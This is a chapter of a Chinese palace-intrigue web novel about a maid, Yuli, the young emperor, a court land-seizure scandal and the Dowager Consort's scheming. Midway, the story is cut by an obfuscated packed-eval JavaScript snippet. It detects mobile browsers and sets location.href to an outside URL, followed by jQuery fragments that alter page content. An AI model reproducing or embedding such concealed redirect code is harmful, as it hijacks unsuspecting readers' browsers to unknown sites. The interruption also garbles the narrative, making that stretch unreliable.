9. 第 9 章

作品:《折腰

    跨入西苑宫门的这一刻,瑜狸回头,静静看了看朱门外的青天,但是没有如往常一样冷,反而温润明朗了些,瑜狸撤回目光,整理身上的青衫,默默跟随着同侪进入了朱红色的深墙,她大病初愈,脸上仍然苍白得没有血色,因为得罪了皇帝,所以也没有人敢与她说话,她时常为此感到孤独。


    在别人眼里,她一定非常不知天高地厚,过了几天,宫人都察觉到此人不过与她们一般无二,她们尚且不知她为林甫仪之女,只知曾遭过陛下的厌弃,没入奴籍。瑜狸洗了把脸,水面上映出的客颜都是碾碎过后的苍白,西苑里的人,除了下等宫女便是新来的小太监,这里就是全紫禁城中最低贱的地方,白日里在内务府里劳作,晚上就在庑房里草草安置,唯一的消遣便是谈论宫闱中的事儿,唯独她们从不谈论皇帝。


    掌事的尚仪姑姑言氏是个年过三十的女人,言芜姑姑的祖父是沧州土司,后来被人告发私蓄狼兵图谋不轨,本来土司可以私养狼兵,但是与谋反联系在一起,就是大逆不道了。于是,言芜的祖父被投进监狱,不久瘐死狱中,她的祖母申冤无望气死了。那个人则继任了沧州土司。言芜的父亲,被充军到偏远的烟瘴之地,在那里娶了一个蛮人姑娘,生下哥哥、她和妹妹,由于是罪人后代,她和妹妹在幼年时,便被发配到皇宫做了宫娥,哥哥则留在父亲身边。那一年她不过十岁,而她妹妹却死在了赶京的路上。


    听宫人说她当初和永安帝有过旧情,不过这等风流韵事,放到现在也无从考据了,但言氏的能力还是有目共睹的,宫中的人没有不信服的。


    过午以后她专门来寻瑜狸,将皮弁服交给瑜狸,“随我到文华殿送趟衣服去。”明天的经筵会讲,地点在文华殿,皇帝沐浴斋戒后要换上皮弁服,向九圣、周公与孔圣的神位进行尊告礼。


    皮弁服相对冕服低了一个档次,进贤冠、绛纱袍、革带、玉佩、白袜、黑履,都是尚服局制好的,谁也不敢出了差错,向文华殿进服,向来是内务府的活,所以内务府也紧盯了尚服局的动作。进贤冠是白鹿皮制作的,白色的鹿皮有些浅黄色的绒毛,远远看过去散发着淡黄的色调,比一般金线看上去更柔和,却又庄严,进贤冠用黑纱制作,帽子前后有十二道褶,每道褶上镶嵌了贵重的玉石,巧为天工。瑜狸有些不想见到商驻衡,于是拒绝道:“姑姑,您找别人好了,我身体不适,若是冲撞到陛下就是罪过了。”


    尚仪姑姑平时心善,若瑜狸放在前几日这么一说,她便不会让她再送了,可是今天她却指定要瑜狸送,别人都不允。宫门下过钱粮和宵禁时间一过,宫人侍守便开始拎着宫灯到处巡视,瑜狸来到紫宸殿,正要将皮弁服交给言氏,她却不肯如往常一般接了送进去:“你送进去,我在外面等。”


    瑜狸忍着耐性进去,因为旧伤都还在,皮弃服又重,现在她是感觉伤口被再次撕裂。


    “陛下,膳齐。”


    大太监罗廷向站在窗前前发愣的商驻衡跪禀,洋漆花膳桌上已经摆好三十多个珐琅质、银质及瓷质的盘、碟、碗。两名摆膳太监一左一右地站着,前面还有四个紫宸殿当值太监垂手恭候。商驻衡入座后,摆膳太监便把一品一品的菜碗菜盘的银盖打开,请他过目。看见商驻衡用眼瞧哪品菜,罗廷就得赶紧拿它往皇上跟前挪。商驻衡此时毫无胃口,连眼皮都不抬。


    罗廷乖巧地走过来,用眼色支开了摆膳太监,笑道:“陛下批本批了两个时辰,怎么也得进点膳。”他看着满桌的菜,点着数地说:“陛下往这儿瞧,这一品燕窝丝鲜美无比;这一品燕窝冬笋肥鸡热锅,热腾腾的,可是膳房精心炖了三个时辰,攒盘里烧狍肉、锅塌鸡丝都是在北地有名的菜,黄碗里芽韭炒鹿脯丝红黄相间,可是太庙的供献。”


    梁尚安站在一旁,猜测皇帝的心思。


    刑部尚书梁尚安思维活跃,哪怕是皇帝问的几句兴起的话,他都可以滴水不漏地答出来。“朕已将《资治通鉴》阅过两遍,顺便也翻看了二十一史和《明实录》,帝王以德化民,以刑辅治,法司用刑务求平允方能上合天意,下得人心,先帝时江南五旧姓谋反,自国初以来延绵十年,株连极广,至今未结,究竟是实是虚?是实,刑部应拿出证据;是虚,诬告者就该反坐。岂能成一积案,十数年不清?初时由顺承王处置,归刑部办理时大局已定,虽曾有人提出疑议,但不得结果。永安八年后,顺承楚王兼理刑部,一切惟命是听。顺承王乃国家重臣,事务繁多,实在无暇细细查阅案情,认定是实。尚书侍郎皆相随画诺,不敢异议。如今你是刑部尚书,你说为什么不肯查疑平刑?”


    梁尚安立刻跪地免冠叩头,奏道:“恕奴才之罪,江南旧五姓谋反案,立于顺承王,永安九年顺承王谢世,顺承王世子屏子羽其时仍兼刑部,自然不敢翻案。刑部处理重案,往往尚书、侍郎商榷未定,王爷所差司员已持王爷拟定奏本邀各官画押,当时谁敢不遵?皇上恕奴才妄言之罪,以奴才所见,亲王名望高贵,可使他们为大将军、为议政王,却不可使他们兼六部部务。”梁尚安的话戛然而止,仿佛没有说完,仔细想想,该说的都说了。


    商驻衡的面色反倒平静了,眼睛依然闪闪发亮,那是另一种兴奋的光芒,梁尚安说到他心里去了。


    “行,那朕给你机会,目前将这些办清楚,如今许告之风大起,朕要你事事严谨,不要落人口舌,明白么?”商驻衡摆了摆手。


    梁尚安走后,商驻衡才道:“出来,躲什么?”


    瑜狸这才走出来,将衣服递给一旁的小太监:“陛下,奴婢来送明天听讲筵经的衣服。”


    “走路怎么了?”他目光沉了沉。


    瑜狸一时没反应过来:“什么?”


    她忙道:“不过是前日摔了一跤。”


    商驻衡冷笑道:你不肯说朕便算你欺君。”瑜狸奇怪地看了他一眼,奴才们的事谁会在皇帝面前说那么清楚,况且也没有关心,如今他这是闹哪出?


    “前几日奴婢与西苑宫女因为西苑活移,将裕太妃的衣裳晚送了些,宋公公责罚了奴婢二十板子。”至于另外那位明秋宫女,是宋公公对食,她便没有受罚,其实这种事也没什么好计较的,宋公公不过是要拍手子的马屁,宫里人不都习惯捧高踩底,为了生存而已,也能理解。“不过,后面宋公公让奴婢休息了几天,还送了许多伤药。”


    商驻衡冷笑道:“还好意思说,那是你活该。”


    瑜狸吐出一口气:“是,奴婢知道。”


    商驻衡见她这副卑躬屈膝的样子,心里实在不太舒坦,把杯中的余酒喝尽:“罗廷,你先退下去。”瑜狸见状正想跟罗廷一起退下去,罗廷见状要吓坏了:“别介,姑娘先留脚步,皇上是要你伺膳呢。”


    瑜狸心道废话,当然是知道他要我伺膳我才走的啊!罗廷一走,紫宸殿此刻就剩她与商驻衡两个人了,气氛实在是…很尴尬。


    “朕见你不管什么时候脑袋都不大机灵,看来真是天生做奴婢的命。”她不会来求他?现成的机会她是真的不懂,还是不稀罕?


    商驻衡今年刚满二十岁,却有着五官深邃,棱角分明的脸,细嫩而白皙的肤色显得他像个不正经的皇帝,太过稚嫩,不过高耸的鼻梁,细长的眼睛,眉尖上耸、眉梢略略下沉的黑眉,却已经画出皇室子孙该有的贵气,他走路轻捷有力,腰部很有弹性,这或许与他爱好骑射有很大关系,所以当他走近时,瑜狸呼下意识就想逃,腰肢却被一只手轻易地捞了过去,接着唇齿滚热,商驻衡附唇贴上了她的唇,同时低沉了声音:“为什么不来求朕嗯?”


    瑜狸再次咬了他,巨大的屈辱感涌上心头,他是不是忘了,他还射过她两箭,她就低不下去这个头,做奴婢还可以年满二十五出宫,做他的妃子就要一辈子困在这令人窒息的地方。她气愤地转身出了门。


    “行刑之事该由谁负责?”


    郑钧是司礼监的秉笔,他的师傅张展春是司礼监掌印。司礼监有两位首领:掌印与秉笔,张展春多年抱病在家,因此司礼监的实际领导只有郑钧一人。司礼监在内府二十四衙门中处于首位,是核心的权力部门。司礼监秉笔可以代替皇帝批复奏章,司礼监的太监之所以敢于,而且可以弄权的原因就在于此。司礼监管理的范围颇宽,不仅要代替皇帝批复奏章,而且负责管理皇城的礼仪、刑名以及钤束长随、内使、听差、关防门禁等。负责这些事项的是一个叫“经厂”的部门。经厂的主业是管理经书印版以及佛藏、道藏、藩藏,这是经厂的主要业务,再有就是负责对下层人员的惩罚与约束。宋沆作为裕太妃身边的人打西苑奴婢板子,照规矩自然要经过司礼监经厂,但是绕过司礼监秉笔,则是违背宫中规矩了。


    “罗廷!”他将折子丢了下去。“奴才在。”


    罗廷不敢起来,就这么跪着挪回身,伏下身道:“陛下息怒。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084980|163564||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “同安府的地儿怎么回事,怎么到了裕太妃和公主手上去了,他们李氏是不是要造反啊?马上传召李道悦,朕要亲自问他,还有将户部侍郎谢氏一并召来,皇庄上的田都敢贪,他们还有什么不敢贪的,同时宋沆那厮作为奴才只知假公济私,不必问过裕太妃,直接将人丢出宫外去。”商驻衡扶了额,抿了一口茶,平息心头怒火,差点气得把盏子摔了,“这还是楚王死后抄家才查出来的呢,你们这些朝臣天天食君之禄,事都干哪去了?”


    罗廷捡起折子一看,上面说是同安府李道悦用皇庄田地三万亩,佃给民人耕种。后来他以此地投充楚王田庄,并买通庄头,欺瞒楚王,暗中依旧自取余利。不久,他因奸占同安府知府姚崇之妻,逼得姚妻投井自杀,姚氏与楚王结仇,他又因此受楚王责打,李氏怀恨在心,遂将皇庄田地改投乐阳长公主食秩上,并以长公主名义收割了姚氏全族的田,姚崇当时气愤不平,代众告状,处处不准,终于自刃于午门。


    李道悦星夜入京,稍事休息,就往慈宁宫向裕太妃请安,裕太妃乃他亲阿姐。


    已是申时,西斜的太阳照得人不得半分暖意,白玉砌阶栏杆,远远望见淡黛的西山。富丽堂皇的慈宁宫,翻修完工不到一年,仍有些不大妥帖的地方,紧连着的慈宁花园还在修理,所以一枝花草也见不到。李道悦踏上两尊青铜麒麟之间的汉白玉阶。


    李道悦是文士装束,身着无领蓝衫,外面罩一件貂皮镶边暗蝙蝠花纹的烟色缎马褂,夹里对襟,胸前以绦带随便一系,头上无帽。两人同岁,都在不惑之年。李道悦风度翩翩,尚可辨出当年探花郎的丰采。他出神地望着端坐在华堂的裕太妃,伤感地说:“唉,我与阿姐分别整整二十年了!”


    裕太妃茶白色的上衣绣着大朵粉荷,青色中单的须口平织着花纹,下面是满地金葱绿色裙子,她生的并不娇艳,但胜在清稚端庄,比起乐阳长公主极具攻击性的美丽,她看着反倒让人更舒服,而且年纪一上来,裕太妃的优势便显现出来了。


    她狠狠扇了李道悦一巴掌,“瞧你干的蠢事,现在要我如何保你?咱们这种出身低贱的人家,流血流汗,吃尽辛苦,总算挣到了如今的地位,当年我左右不过是商氏的牲畜奴婢,熬了这么多年才胆战心惊盼先帝坐拥了江山,投充人也算是一大注吧!你偷偷占用皇家田地便也算了,居然还得罪当地官员,你明知道姚氏在同安府有多大的名望,你当真做事不考虑后果的么?而且我还听罗廷说皇帝准备彻查当年江南旧五姓谋反之事,你记得当年简穆皇后怎么死的么?正是因为当年我们伪造证据诬卢氏谋反啊,还有言氏、王氏、崔氏、范氏,若真查出来,还有我们活命的机会?顺承王那厮也是没福气的,本来里应内合除掉支持先帝的势力助他上位,他自己却先病逝了,我膝下只有乐阳一个女儿,我是要让她做皇帝那又如何?前有武皇,那我便造一个新的武皇,可是现在!你给我惹出了大麻烦,你若敢拖累我的乐阳,我便先杀了你!”


    李道悦不可置信:“阿姐!你要弃了我吗?不可以,再说了江南谋反那事本就不关你事啊,是顺承王所为,怎么会查到阿姐身上,再说了当初若不是先帝默许,江南旧五姓哪有那么快被扳倒,查也是先帝的事…”


    “你现在想办法将责任都推到楚王身上去,反正死无对证,占用皇地那都是事小,主要在私圈民地这项上,私圈民地造成流民数众,前皇室不就是因此失了民心才让先帝有可乘之机么?想必皇帝对此事如此震怒,归根结底也是意识到了这个问题,当初因为私圈民地,逃人就成了民间动乱的主要问题,通过征战、投充等各种手段,贵族上下都在大量蓄奴,当时社会动荡啊,民不聊生,你可千万不要让皇帝抓住你的把柄,尽心忏悔认错。”


    裕太妃斜眼看着李道悦,她的两道黑眉紧蹙在一起,和紧紧抿着的嘴唇相配合,显出一副非常执拗的神气。她立刻走开,步履平稳,步速中常,再没有回头看他一眼。她的高傲的自尊心受了损害。哪怕这损害者是自己的亲弟弟,她也不能原谅!


    黄昏时分,皇城的宫殿在暮霞的背景上渐渐变成深色的剪影,寂静的宫廷透露出一股无法言喻的忧郁和惆怅。追随着宛转的歌声,从皇城中送出阵阵悠扬的丝竹之音,那拖得长长的音调如泣如诉,更增加了暮夜的缠绵和哀怨,李道悦向着慈宁宫跪了一跪,挥刀倒在了紫宸殿前,为自己阿姐的野心铺路。